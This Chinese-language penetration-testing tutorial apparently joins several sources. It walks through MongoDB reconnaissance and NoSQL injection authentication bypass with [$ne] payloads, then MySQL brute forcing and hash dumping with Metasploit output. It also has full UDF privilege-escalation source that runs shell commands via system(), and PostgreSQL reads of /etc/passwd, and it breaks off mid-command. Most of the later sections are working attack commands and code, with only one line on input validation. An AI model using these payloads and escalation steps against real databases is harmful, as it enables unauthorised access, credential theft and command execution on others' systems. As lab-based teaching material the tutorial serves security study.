这一步完成了PHP漏洞应用程序的安装。一旦一切正常，我们可以在浏览器中启动Web应用程序。如图所示:
之前我们已经在Mongo数据库中插入了测试数据，现在我们直接用tom用户密码登录。
如果你看到如上所示的主页，那就证明MongoDB渗透环境已经搭建好了。
#### 2\. 漏洞评估
##### 2.1 介绍
>
> 面对错误配置问题,MongoDB可能会像其他数据库/服务器一样。在本节中，我们将看到一些常见的错误配置以及如何识别它们。我们也将看到与使用MongoDB作为后端的Web应用程序相关的漏洞。
##### 2.2 扫描开放端口
> 在进行黑盒评估时，我们可以使用nmap来确定MongoDB是否在远程主机上运行。
> MongoDB服务的默认端口是27017。扫描到27017是open表示允许在远程主机上运行，默认绑定地址是127.0.0.1，是扫不出来的，我这里修改了绑定地址为0.0.0.0
MongoDB默认设置不需要使用客户端控制台进行连接的任何验证。如果MongoDB服务在没有适当的安全控制的情况下通过网络公开，任何人都可以远程连接到数据库，并执行命令来创建/读取/更新/删除数据库。我们将在后面的章节中试图做到这一点。
##### 2.3 服务枚举
> 虽然我们知道了开放端口2017，但其他一些服务可能会使用此端口。也可以运行MongoDB在不同的端口上。
> 为了确保我们找到的端口是MongoDB，我们可以使用nmap的“-sV”标志来执行服务枚举。
这也有助于弄清楚MongoDB的版本，以便我们可以找到任何已知的版本可用漏洞。
>
> 在我们的渗透测试中，我们可能会遇到MongoDB的老版本。一个快速的Shodan搜索显示，大部分被发现的MongoDB版本都在运行旧版本的MongoDB。
这对攻击者来说绝对是个好消息，因为旧版本的MongoDB实例中存在许多默认的错误配置。
##### 2.4 扫描HTTP接口
> MongoDB提供了一个简单的HTTP界面，列出管理员感兴趣的信息。如果使用带--> rest选项的接口启用mongod，则可以通过比配置的mongod端口多1000个端口来访问它。
> HTTP接口的默认端口是28017。我们在搭建实验环境时已经使用了带--rest选项的命令来启动mongod。
> 我们可以使用nmap查看远程主机是否使用http接口运行，通过-sV确认它是MongoDB的http界面。
>
>
**注 意** : 默认情况下运行的MongoDB版本大于2.6，禁用http接口。
##### 2.5 访问HTTP接口
> 可直接通过HTTP链接访问：<http://192.168.2.105:28017/，可实现多种功能，大家自行研究。>
##### 2.6 用nmap NSE scripts进行扫描
> 如果http接口需要认证，我们需要尝试暴力破解。有相当多的nmap nse 脚本可用于MongoDB漏洞评估。我们可以使用它们来识别目标机器中的漏洞。
##### 2.7 mongodb-brute
> 使用这个NSE脚本对MongoDB数据库执行暴力破解密码审计，我们可以看到mongodb-brute已经进行了测试并确认不需要认证。
##### 2.8 mongodb-databases
> 使用这个NSE脚本尝试从MongoDB数据库获取表的列表。这只有在MongoDB接口不需要验证的情况下才有效。
##### 2.9 Metasploit辅助模块
> 使用auxiliary/scanner/mongodb/mongodb_login辅助模块
> show options 查询需要配置的选项。
> 设置好参数，直接run，这里看到是没认证的，如果有认证需要配合字典爆破。
> 从MongoDB版本3.0开始，MongoDB已经将其默认的认证方法改变为质询和响应机制（SCRAM-SHA-1）。根据文档，“SCRAM-> SHA-1根据用户的名称，密码和数据库验证提供的用户凭证。
> 当用户使用MongoDB进行身份验证时，他必须提供用户名，密码和创建数据库。
>
> mongo 192.168.2.105 -u user -p password --authenticationDatabase userdb
>
> 在MongoDB上暴力破解是有点困难，因为我们需要能够正确地通过所有这三个。 知道创建用户的数据库的名称很重要。
> 通常情况下，自动化工具默认选择“admin”作为数据库。
##### 2.10 攻击利用
> 在最初的信息收集阶段，我们了解到远程主机正在运行MongoDB，并且不需要进行身份验证即可连接到服务器。
> 当在生产环境中使用MongoDB时，必须从其他数据库和/或应用程序服务器访问。当mongod通过网络暴露给其他主机时，必须小心防止不必要的暴露出公网。
> 当我们可以免认证直接连接到MongoDB数据库或者WEB访问28017端口，就可以随意进行自己想要的操作。
#### 3\. 攻击应用程序
##### 3.1 介绍
> 到目前为止，在给出MongoDB主机的IP地址时，我们学会了评估Mongo主机安全性的技术。
> 本节将介绍在MongoDB与Web应用程序一起使用时执行NoSQL注入攻击的技术。
> SQL数据库（如MySQL）上的注入是非常常见的。
> 有一个误解，即MongoDB不使用SQL，因此在使用MongoDB的应用程序中不能使用注入。但当用户输入没有正确过滤时，仍然可以对基于MongoDB的应用程序进行注入攻击。
我们将用使用MongoDB作为后端的PHP应用程序来演示这种攻击。
**以PHP和MongoDB为后端的NoSQL注入**
让我们开始使用之前搭建好的实验环境-PHP-MongoDB应用程序，先了解应用程序功能，我们打开首页，需要输入正确的用户名和密码登录。 如果用户名/密码不正
确，应用程序将会报错。
接下来让我们通过使用注入绕过这个认证。
**认证绕过**
确保浏览器配置为通过Burp代理发送所有流量，因为应用程序使用POST方法发送凭证，我们直接把请求包截取下来。
从上图可以看出，我们通过"tom"作为用户名和密码。我们可以对数据进行修改再转发到服务器。 在修改这些参数之前，我们先理解MongoDB注入是如何工作的。
**了解MongoDB中的注入:**
在后台运行的查询将创建以下语句
这看起来没问题，因为它正在提取我们请求的文件，这个文件的用
户名和密码是"tom"
但是，如果上面的命令被修改会怎样？ 如下所示 ：
如果你注意到，上面的MongoDB命令是获取用户名是“tom”而密码不等于“test0x00”的所有文档。
我们直接修改命令，同时对用户名和密码注入。
这一次，我们可以看到所有不符合条件用户名和密码的文件。
那么就这些条件的功能而言，这个输出就像预期的一样。
试想一下，如果可以从Web应用程序入口点创建这种情况，即使密码不匹配，我们也能够看到特定用户名的文档。 显然，这会对应用程序造成严重的危险。
**测试注入：**
在我们继续向数据库中注入一些恶意查询之前，我们来测试一下MongoDB及其异常的存在。 这个想法和其他注入一样。
正如我们在前面的章节中看到的，在MongoDB查询中可以传递[$ne]这样的条件。 如果我们传递一些MongoDB未知的东西，会发生什么？
我们可以往MongoDB查询中传递一个[$nt].
正如我们在上面的输出中可以看到的，我们打破了查询，并得到一个错误，说“未知的操作符：[$nt]”
让我们从实验环境PHP应用程序中尝试这个。
如果异常处理不当并抛出给用户，与MySQL数据库中的SQL注入类似，我们可以看到MongoDB的存在并收集其他关键信息。
让我们注入一些未知的运算符，重发刚才拦截到的数据包，看看MongoDB是否执行它。
在浏览器看不出问题所在，没有任何错误回显。但burp就可以看到出现500内部错误。
当我们把不存在的数组修改器`[$nt]`改成`[$ne]`,重发数据包后就发现登录成功了。
我这里直接用hackbar进行post数据，可以看到我们已经成功登录进后台了。
下面贴上index.php的漏洞代码片段：
我们来分析一下MongoDB层面发生了什么
我们传递的数据已经发送到数据库，下面的查询已经被执行，允许我们登录。
我们还可以检查MongoDB控制台日志，以了解攻击者执行的操作。
这不仅仅是绕过认证，而且我们也可以使用相同的技术在某些情况下从数据库中提取数据，如下所示。
实验环境WEB应用程序有一个功能，我们可以在其中搜索用户所做的购买细节 。首先，用户必须登录到应用程序，然后他可以输入他的电子邮件ID来查看他的购买细节。
**注 意** : 虽然在这个应用程序中没有实现 输入控制 ，但假设这个应用程序在输入电子邮件ID时不会显示其他用户的详细信息。
**枚举数据:**
当用户输入他的邮箱地址进行搜索详细信息，URL会变成如下：
`http://192.168.2.105/[email protected]&Search=Search`
上面的查询显示了与输入的电子邮件ID相关的输出，如下所示。
让我们再次测试MongoDB注入 ，如下所示
MongoDB可能会执行我们传递的查询，因为它正在执行我们在URL中传递的操作符并中断查询。我们把`[$nk]`替换成`[$ne]`再次进行注入。
如上所示，我们看到正确查询到了3条数据，但是默认只显示一条。我们可以通过`[$ne]`来遍历数据。
这个例子显示了对基于MongoDB的应用程序的严重注入攻击的可能性。
下面贴上home.php的漏洞代码片段
如何解决这个问题？
这个问题背后的根本原因是缺乏对来自用户的数据类型进行适当的输入验证。 确保用户输入在处理之前被严格验证。
我们只需要做下严格验证即可，例如：
`(string)$_POST['uname']`
`(string)$_POST['upass']`
确保变量在被传递到MongoDB驱动程序之前被正确输入。
以 NodeJS和MongoDB 为后端的 NoSQL注入，跟PHP应用程序注入方式一样，感兴趣的可以自行研究。
#### 4\. 自动化评估
> 在之前的所有章节中，我们都使用了一些使用nmap等半自动化工具的手动技术来识别目标中的漏洞。在本节中，我们使用自动化方法来查找前面部分提到的所有漏洞。
> 我们将使用一个非常好的工具，称为[NoSQLMap](https://github.com/tcstool/nosqlmap)。
**介绍**
NoSQLMap是一个开源的Python工具，用于审计和自动化注入攻击，并利用NoSQL数据库中的缺省配置弱点，以及使用NoSQL的Web应用程序来泄露数据库中的数据。目前，这个工具的漏洞主要集中在MongoDB上，但是在未来的版本中计划对其他基于NoSQL的平台（如CouchDB，Redis和Cassandra）提供额外的支持。
**特性**
• 自动化的MongoDB和CouchDB数据库枚举和克隆攻击。
• 通过MongoDB Web应用程序提取数据库名称，用户和密码哈希。
• 使用默认访问和枚举版本扫描MongoDB和CouchDB数据库的子网或IP列表。
• 使用 强力字典 爆破 MongoDB和CouchDB 的 哈希。
• 针对MongoClient的PHP应用程序参数注入攻击返回所有数据库记录。
• Javascript函数变量转义和任意代码注入来返回所有的数据库记录。
• 基于计时的攻击类似于SQL盲注来验证没有回显信息的Javascript注入漏洞。
下载并安装好NoSQLMap，运行：
##### 4.1 准备好NoSQLMap
根据我们的目标，我们可以选择一个合适的选项。 在进行漏洞评估之前，我们需要使用选项1来设置参数。
> • 第一个选项是指定目标IP地址。
> • 第二个选项是指定被渗透机WEB应用的地址。
> • 第三个选项是指定可能存在注入的路径。
> • 第四个选项是切换HTTPS。
> • 第五个选项是指定MongoDB的工作端口。
> • 第六个选项是设置HTTP请求模式。
> • 第七个选项是设置本地的IP地址。
> • 第八个选项是设置本地监听端口(MongoDB shell的反弹端口)。
> • ......
下面让我们开始实验。我们先需要设置好相关参数。
##### 4.2 NoSQL DB访问攻击
退出主界面选择第二个NoSQL DB Access Attacks。此选项将检查目标服务器上的MongoDB是否可通过网络访问。
如果可以访问，它将检查我们在前面章节中讨论的错误配置(没有认证，暴露的WEB控制台，暴露的REST端口)
从上面的输出我们可以看到，NoSQLMap发现通过网络访问MongoDB没有认证，然后给我们提供了获取服务器系统和版本，数据库枚举，检查规范，克隆数据库等功能。
我们先获取服务器系统和版本，如图：
数据库枚举，从远程服务器 dump 所有数据库和集合：
##### 4.3 匿名MongoDB访问扫描
> NoSQLMap有一个扫描器，可以扫描整个子网上的MongoDB访问。
> 我们可以直接输入整一个子网网段进行扫描，例如`192.168.152.0/24`。
我们回到主界面，选择选项4，
它将显示以下选项。
> • 可以通过命令输入ip地址
> • 可以从一个文件加载IP地址
> • 启用/禁用ping之前，尝试与目标服务器的MongoDB连接。
首先，我们提供一个IP地址并观察结果。
正如我们在上面的结果中看到的，NoSQLMap已经扫描了提供的IP，并确认远程机器上有默认访问。
此外，它还提供了一个选项来将结果保存到CSV文件，我这里把CSV文件命名为test。
我们可以直接使用`cat`命令查看文件的内容。
我们还可以提供一个网段来进行扫描。
NoSQLMap正在检查我们提供网段的每台机器MongoDB匿名访问是否能成功。
成功获取到这台机器存在匿名访问，其他步骤跟以上相同，在此直接跳过。
##### 4.4 使用NoSQLmap进行NoSQL注入
> 到目前为止，我们已经看到了使用NoSQLMap工具评估MongoDB服务器安全性的各种方法。
现在，让我们检查一下之前搭建好的实验环境(利用MongoDB作为后端Web应用程序中的漏洞)。
我们选择选项3 WEB应用程序攻击，这里会提示我们没有设置options。我们直接选择1，根据自己的实验情况设置即可。
退出主界面，选择3开始WEB应用程序攻击
选择随机数的长度及填充格式，我这里选择1，字母数字。一旦完成，NoSQLMap会提示我们选择要测试的参数。
在我们的例子中，第一个参数是处理MongoDB的动态参数。
我们看到这里可能存在注入，因此我们选择不开始时间盲注。
我们看到NoSQLMap已经完成了对应用程序中的注入漏洞的测试，并显示了所有注入点和使用的有效载荷的输出。在使用手动技术学习评估时，我们已经看到了这一点。
http://192.168.152.151:80/home.php?search[$ne]=OybrUiUGatApIIdOioUS&Search=Search
http://192.168.152.151:80/home.php?search[$gt]=&Search=Search
**结论:**
任何系统的安全性与其最薄弱的环节一样强大。 小小的错误配置会导致严重的损坏。
我们在这里展示的所有例子都是人们常犯的错误。请保持你的MongoDB是最新的，并且在把它传递给MongoDB之前总是验证用户的输入。
### mysql
**命令** | **描述**
---|---
select @@version | 显示mysql服务器版本
select version() | 显示mysql服务器版本
SHOW STATUS | 显示mysql服务器状态信息
show VARIABLES | 显示所有的mysql服务器变量
select user() | 查询当前数据库用户
SHOW VARIABLES LIKE '%datadir%' | 显示包含数据字符串的所有变量
select load_file('/etc/passwd'); | 加载文件到数据库中
select 0xnnnnnn... INTO **OUTFILE** '/path/to/filename' | 将数据写入文本文件.
select 0xnnnnnn... INTO **DUMPFILE** '/path/to/filename' | 将数据写入二进制文件.
#### 怎样安装mysql数据库服务器 ?
Lab: ubuntu / debian
$ sudo apt-get install mysql-server
$ sudo systemctl start service
编辑 `/etc/mysql/mysql.conf.d/mysqld.cnf`, 和改变 **绑定的地址**.
bind-address = 0.0.0.0
#### 允许远程访问
root@sh:~# ss -ant | grep ":3306"
LISTEN 0 80 *:3306 *:*
root@sh:~# mysql -h 10.0.250.71 -uroot -p
Enter password:
ERROR 1130 (HY000): Host '10.0.250.71' is not allowed to connect to this MySQL server
创建一个SQL文件 **adduser.sql** , 和执行这个命令: `mysql -h 127.0.0.1 -u root -p mysql <
adduser.sql`
CREATE USER 'mysqlsec'@'localhost' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON *.* TO 'mysqlsec'@'localhost' WITH GRANT OPTION;
CREATE USER 'mysqlsec'@'%' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON *.* TO 'mysqlsec'@'%' WITH GRANT OPTION;
如果成功了，你就能够远程访问MYSQL数据库服务器.
root@sh:~# mysql -h 10.0.250.71 -u mysqlsec -p mysql
Enter password:
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 8
Server version: 5.6.30-1 (Debian)
Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
mysql> select Host,User,Password from `mysql`.`user` where User='mysqlsec';
+-----------+----------+-------------------------------------------+
| Host | User | Password |
+-----------+----------+-------------------------------------------+
| localhost | mysqlsec | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 |
| % | mysqlsec | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 |
+-----------+----------+-------------------------------------------+
2 rows in set (0.00 sec)
#### 怎样爆破mysql ?
msf auxiliary(mysql_login) > show options
Module options (auxiliary/scanner/mysql/mysql_login):
Name Current Setting Required Description
---- --------------- -------- ----------- BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD no A specific password to authenticate with
PASS_FILE /tmp/pass.txt no File containing passwords, one per line
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.0.250.71 yes The target address range or CIDR identifier
RPORT 3306 yes The target port
STOP_ON_SUCCESS true yes Stop guessing when a credential works for a host
THREADS 10 yes The number of concurrent threads
USERNAME mysqlsec no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
msf auxiliary(mysql_login) > run
[*] 10.0.250.71:3306 - 10.0.250.71:3306 - Found remote MySQL version 5.6.30
[-] 10.0.250.71:3306 - 10.0.250.71:3306 - LOGIN FAILED: mysqlsec:AzVJmX (Incorrect: Access denied for user 'mysqlsec'@'10.0.250.67' (using password: YES))
[-] 10.0.250.71:3306 - 10.0.250.71:3306 - LOGIN FAILED: mysqlsec:j1Uyj3 (Incorrect: Access denied for user 'mysqlsec'@'10.0.250.67' (using password: YES))
[-] 10.0.250.71:3306 - 10.0.250.71:3306 - LOGIN FAILED: mysqlsec:root (Incorrect: Access denied for user 'mysqlsec'@'10.0.250.67' (using password: YES))
[-] 10.0.250.71:3306 - 10.0.250.71:3306 - LOGIN FAILED: mysqlsec:mysql (Incorrect: Access denied for user 'mysqlsec'@'10.0.250.67' (using password: YES))
[+] 10.0.250.71:3306 - MYSQL - Success: 'mysqlsec:password'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
#### 怎样把mysql哈希值dump出来 ?
msf auxiliary(mysql_hashdump) > show options
Module options (auxiliary/scanner/mysql/mysql_hashdump):
Name Current Setting Required Description
---- --------------- -------- ----------- PASSWORD password no The password for the specified username
RHOSTS 10.0.250.71 yes The target address range or CIDR identifier
RPORT 3306 yes The target port
THREADS 1 yes The number of concurrent threads
USERNAME mysqlsec no The username to authenticate as
msf auxiliary(mysql_hashdump) > run
[+] 10.0.250.71:3306 - Saving HashString as Loot: root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[+] 10.0.250.71:3306 - Saving HashString as Loot: root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[+] 10.0.250.71:3306 - Saving HashString as Loot: root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[+] 10.0.250.71:3306 - Saving HashString as Loot: root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[+] 10.0.250.71:3306 - Saving HashString as Loot: debian-sys-maint:*8E970943FBFAA7CF6A11A55677E8050B725D9919
[+] 10.0.250.71:3306 - Saving HashString as Loot: phpmyadmin:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[+] 10.0.250.71:3306 - Saving HashString as Loot: freepbxuser:*433D16EECA646A6CCF8F024AD8CDDC070C6791C1
[+] 10.0.250.71:3306 - Saving HashString as Loot: mysqlsec:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[+] 10.0.250.71:3306 - Saving HashString as Loot: mysqlsec:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
#### UDF权限提升
#include <stdio.h>
#include <stdlib.h>
enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
typedef struct st_udf_args {
unsigned int arg_count; // number of arguments
enum Item_result *arg_type; // pointer to item_result
char **args; // pointer to arguments
unsigned long *lengths; // length of string args
char *maybe_null; // 1 for maybe_null args
} UDF_ARGS;
typedef struct st_udf_init {
char maybe_null; // 1 if func can return NULL
unsigned int decimals; // for real functions
unsigned long max_length; // for string functions
char *ptr; // free ptr for func data
char const_item; // 0 if result is constant
} UDF_INIT;
int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
if (args->arg_count != 1)
return(0);
system(args->args[0]);
return(0);
}
char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
return(0);
}
$ gcc -g -c raptor_udf2.c
$ gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
将上面的代码编译成一个这样的库文件。接下来，请转换为一个十六进制字符串:
#!/usr/bin/python
# -*- coding: utf8 -*-
# https://www.exploit-db.com/exploits/1518/
# How to upload UDF DLL into mysql server ?
# show VARIABLES;
# select @@plugin_dir;
# SELECT CHAR (...) INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so'
# SELECT 0xnnnnn INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so'
# drop function if exists do_system
# create function do_system returns integer soname 'lib_mysqludf_sys.so';
# select sys_exec('id');
# How to Compile UDF Dll ?
# gcc -g -c raptor_udf2.c
# gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
import sys
import binascii
def convert(filename):
with open(filename) as f:
print(binascii.hexlify(f.read()))
if __name__ == '__main__':
if len(sys.argv) != 2:
print("python {} /path/to/lib_mysqludf_sys.so".format(sys.argv[0]))
else:
convert(sys.argv[1])
上传该文件, 并用mysql用户定义一个函数 **do_system**.
mysql > select @@plugin_dir;
mysql > SELECT 0x7f45........0000 INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so'
mysql > drop function if exists do_system
mysql > create function do_system returns integer soname 'lib_mysqludf_sys.so';
mysql > select do_system('id > /tmp/result.log');
mysql > select load_file('/tmp/result.log');
#### MOF权限提升
如果mysql部署在windows上，可以尝试用msf:
msf >
use exploit/windows/mysql/mysql_mof
use exploit/windows/mysql/mysql_start_up
use exploit/windows/mysql/scrutinizer_upload_exec
use exploit/windows/mysql/mysql_payload
use exploit/windows/mysql/mysql_yassl_hello
如果有足够的权限，还可以将数据写入os文件（启动，cron等）。
#### 参考链接
1. <http://www.mysqltutorial.org/mysql-cheat-sheet.aspx>
2. <http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet>
3. <https://www.rapid7.com/db/modules/exploit/windows/mysql/mysql_mof>
4. <http://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html>
### postgresql
#### 数据库连接
请连接到 **postgresql** 数据库,
lab:~/ $ psql -h 127.0.0.1 -U postgres -W
* * *
#### 数据库命令
postgres=# help
You are using psql, the command-line interface to PostgreSQL.
Type: \copyright for distribution terms
\h for help with SQL commands
\? for help with psql commands
\g or terminate with semicolon to execute query
\q to quit
postgres=# \h
Available help:
ABORT CREATE FOREIGN DATA WRAPPER DROP SEQUENCE
ALTER AGGREGATE CREATE FOREIGN TABLE DROP SERVER
ALTER COLLATION CREATE FUNCTION DROP TABLE
ALTER CONVERSION CREATE GROUP DROP TABLESPACE
ALTER DATABASE CREATE INDEX DROP TEXT SEARCH CONFIGURATION
ALTER DEFAULT PRIVILEGES CREATE LANGUAGE DROP TEXT SEARCH DICTIONARY
ALTER DOMAIN CREATE MATERIALIZED VIEW DROP TEXT SEARCH PARSER
ALTER EVENT TRIGGER CREATE OPERATOR DROP TEXT SEARCH TEMPLATE
ALTER EXTENSION CREATE OPERATOR CLASS DROP TRIGGER
ALTER FOREIGN DATA WRAPPER CREATE OPERATOR FAMILY DROP TYPE
ALTER FOREIGN TABLE CREATE ROLE DROP USER
ALTER FUNCTION CREATE RULE DROP USER MAPPING
ALTER GROUP CREATE SCHEMA DROP VIEW
ALTER INDEX CREATE SEQUENCE END
ALTER LANGUAGE CREATE SERVER EXECUTE
ALTER LARGE OBJECT CREATE TABLE EXPLAIN
ALTER MATERIALIZED VIEW CREATE TABLE AS FETCH
ALTER OPERATOR CREATE TABLESPACE GRANT
ALTER OPERATOR CLASS CREATE TEXT SEARCH CONFIGURATION INSERT
ALTER OPERATOR FAMILY CREATE TEXT SEARCH DICTIONARY LISTEN
ALTER ROLE CREATE TEXT SEARCH PARSER LOAD
ALTER RULE CREATE TEXT SEARCH TEMPLATE LOCK
ALTER SCHEMA CREATE TRIGGER MOVE
ALTER SEQUENCE CREATE TYPE NOTIFY
ALTER SERVER CREATE USER PREPARE
ALTER SYSTEM CREATE USER MAPPING PREPARE TRANSACTION
ALTER TABLE CREATE VIEW REASSIGN OWNED
ALTER TABLESPACE DEALLOCATE REFRESH MATERIALIZED VIEW
ALTER TEXT SEARCH CONFIGURATION DECLARE REINDEX
ALTER TEXT SEARCH DICTIONARY DELETE RELEASE SAVEPOINT
ALTER TEXT SEARCH PARSER DISCARD RESET
ALTER TEXT SEARCH TEMPLATE DO REVOKE
ALTER TRIGGER DROP AGGREGATE ROLLBACK
ALTER TYPE DROP CAST ROLLBACK PREPARED
ALTER USER DROP COLLATION ROLLBACK TO SAVEPOINT
ALTER USER MAPPING DROP CONVERSION SAVEPOINT
ALTER VIEW DROP DATABASE SECURITY LABEL
ANALYZE DROP DOMAIN SELECT
BEGIN DROP EVENT TRIGGER SELECT INTO
CHECKPOINT DROP EXTENSION SET
CLOSE DROP FOREIGN DATA WRAPPER SET CONSTRAINTS
CLUSTER DROP FOREIGN TABLE SET ROLE
COMMENT DROP FUNCTION SET SESSION AUTHORIZATION
COMMIT DROP GROUP SET TRANSACTION
COMMIT PREPARED DROP INDEX SHOW
COPY DROP LANGUAGE START TRANSACTION
CREATE AGGREGATE DROP MATERIALIZED VIEW TABLE
CREATE CAST DROP OPERATOR TRUNCATE
CREATE COLLATION DROP OPERATOR CLASS UNLISTEN
CREATE CONVERSION DROP OPERATOR FAMILY UPDATE
CREATE DATABASE DROP OWNED VACUUM
CREATE DOMAIN DROP ROLE VALUES
CREATE EVENT TRIGGER DROP RULE WITH
CREATE EXTENSION DROP SCHEMA
postgres=# \?
General
\copyright show PostgreSQL usage and distribution terms
\g [FILE] or ; execute query (and send results to file or |pipe)
\gset [PREFIX] execute query and store results in psql variables
\h [NAME] help on syntax of SQL commands, * for all commands
\q quit psql
\watch [SEC] execute query every SEC seconds
Query Buffer
\e [FILE] [LINE] edit the query buffer (or file) with external editor
\ef [FUNCNAME [LINE]] edit function definition with external editor
\p show the contents of the query buffer
\r reset (clear) the query buffer
\s [FILE] display history or save it to file
\w FILE write query buffer to file
Input/Output
\copy ... perform SQL COPY with data stream to the client host
\echo [STRING] write string to standard output
\i FILE execute commands from file
\ir FILE as \i, but relative to location of current script
\o [FILE] send all query results to file or |pipe
\qecho [STRING] write string to query output stream (see \o)
Informational
(options: S = show system objects, + = additional detail)
\d[S+] list tables, views, and sequences
\d[S+] NAME describe table, view, sequence, or index
\da[S] [PATTERN] list aggregates
\db[+] [PATTERN] list tablespaces
\dc[S+] [PATTERN] list conversions
\dC[+] [PATTERN] list casts
\dd[S] [PATTERN] show object descriptions not displayed elsewhere
\ddp [PATTERN] list default privileges
\dD[S+] [PATTERN] list domains
\det[+] [PATTERN] list foreign tables
\des[+] [PATTERN] list foreign servers
\deu[+] [PATTERN] list user mappings
\dew[+] [PATTERN] list foreign-data wrappers
\df[antw][S+] [PATRN] list [only agg/normal/trigger/window] functions
\dF[+] [PATTERN] list text search configurations
\dFd[+] [PATTERN] list text search dictionaries
\dFp[+] [PATTERN] list text search parsers
\dFt[+] [PATTERN] list text search templates
\dg[+] [PATTERN] list roles
\di[S+] [PATTERN] list indexes
\dl list large objects, same as \lo_list
\dL[S+] [PATTERN] list procedural languages
\dm[S+] [PATTERN] list materialized views
\dn[S+] [PATTERN] list schemas
\do[S] [PATTERN] list operators
\dO[S+] [PATTERN] list collations
\dp [PATTERN] list table, view, and sequence access privileges
\drds [PATRN1 [PATRN2]] list per-database role settings
\ds[S+] [PATTERN] list sequences
\dt[S+] [PATTERN] list tables
\dT[S+] [PATTERN] list data types
\du[+] [PATTERN] list roles
\dv[S+] [PATTERN] list views
\dE[S+] [PATTERN] list foreign tables
\dx[+] [PATTERN] list extensions
\dy [PATTERN] list event triggers
\l[+] [PATTERN] list databases
\sf[+] FUNCNAME show a function's definition
\z [PATTERN] same as \dp
Formatting
\a toggle between unaligned and aligned output mode
\C [STRING] set table title, or unset if none
\f [STRING] show or set field separator for unaligned query output
\H toggle HTML output mode (currently off)
\pset [NAME [VALUE]] set table output option
(NAME := {format|border|expanded|fieldsep|fieldsep_zero|footer|null|
numericlocale|recordsep|recordsep_zero|tuples_only|title|tableattr|pager})
\t [on|off] show only rows (currently off)
\T [STRING] set HTML <table> tag attributes, or unset if none
\x [on|off|auto] toggle expanded output (currently off)
Connection
\c[onnect] {[DBNAME|- USER|- HOST|- PORT|-] | conninfo}
connect to new database (currently "postgres")
\encoding [ENCODING] show or set client encoding
\password [USERNAME] securely change the password for a user
\conninfo display information about current connection
Operating System
\cd [DIR] change the current working directory
\setenv NAME [VALUE] set or unset environment variable
\timing [on|off] toggle timing of commands (currently off)
\! [COMMAND] execute command in shell or start interactive shell
Variables
\prompt [TEXT] NAME prompt user to set internal variable
\set [NAME [VALUE]] set internal variable, or list all if no parameters
\unset NAME unset (delete) internal variable
Large Objects
\lo_export LOBOID FILE
\lo_import FILE [COMMENT]
\lo_list
\lo_unlink LOBOID large object operations
* * *
##### 列出数据库列表
postgres=# \l
List of databases
Name | Owner | Encoding | Collate | Ctype | Access privileges
-----------+----------+----------+-------------+-------------+----------------------- msfdb | msfuser | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
(4 rows)
* * *
##### 列出数据库用户列表
postgres=# \du
List of roles
Role name | Attributes | Member of
-----------+------------------------------------------------+----------- msfuser | | {}
postgres | Superuser, Create role, Create DB, Replication | {}
Please try more details about postgresql database.
* * *
#### 列出目录列表
postgres=# select pg_ls_dir('/etc');
ERROR: absolute path not allowed
postgres=# select pg_ls_dir('./');
pg_ls_dir
---------------------- postmaster.opts
postmaster.pid
pg_logical
pg_clog
postgresql.auto.conf
pg_hba.conf
cmd.so
pg_multixact
postgresql.conf
pg_ident.conf
global
pg_stat_tmp
PG_VERSION
pg_dynshmem
pg_twophase
pg_xlog
pg_notify
pg_snapshots
pg_tblspc
pg_serial
pg_stat
base
pg_subtrans
pg_replslot
(24 rows)
* * *
#### 文件读取
**方法一**
postgres=# select pg_read_file('postgresql.conf', 0, 200);
pg_read_file
-------------------------------------------- # ----------------------------- +
# PostgreSQL configuration file +
# ----------------------------- +
# +
# This file consists of lines of the form:+
# +
# name = value +
# +
# (The "=" is optional.) Whitespace m
(1 row)
**方法二**
postgres=# drop table pwn;
ERROR: table "pwn" does not exist
postgres=# CREATE TABLE pwn(t TEXT);
CREATE TABLE
postgres=# COPY pwn FROM '/etc/passwd';
COPY 27
postgres=# SELECT * FROM pwn limit 1 offset 0;
